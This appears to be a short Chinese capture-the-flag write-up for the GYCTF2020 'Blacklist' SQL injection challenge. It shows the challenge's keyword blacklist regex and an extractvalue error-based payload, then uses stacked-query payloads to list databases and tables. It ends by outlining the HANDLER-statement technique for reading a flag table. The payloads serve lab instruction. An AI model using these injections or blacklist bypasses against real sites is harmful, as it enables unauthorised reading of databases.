[GYCTF2020]Blacklist
一、题目信息
经测试发现可能是SQL注入

二、注入测试
构造闭合

得到三条数据
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}
array(2) {
[0]=>
string(1) "2"
[1]=>
string(12) "miaomiaomiao"
}
array(2) {
[0]=>
string(6) "114514"
[1]=>
string(2) "ys"
}测试返回黑名单列表
return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);使用xpath 报错注入获取数据
/
?inject=1' and extractvalue(0x0a,concat(0x7e,(database()),0x7e)) and '1
user: root@localhost
version: 10.3.18-MariaDB
database: supersqli
测试发现可以进行堆叠注入
获取所有数据库名
/?inject=-1';show databases;
ctftraining
information_schema
mysql
performance_schema
test
supersqli获取所有表名
/?inject=1';show+tables;
得到:
FlagHere
words查询表结构
/?inject=-1';show create table FlagHere;
/?inject=-1';show create table words;

三、解题思路
使用HANDLER语句读取数据

Get Flag!
HANDLER语句解释
handler ... open #打开一个表
handler ... read #访问表内容,在调用close前是不会关闭的
handler ... close #关闭会话最后更新于
这有帮助吗?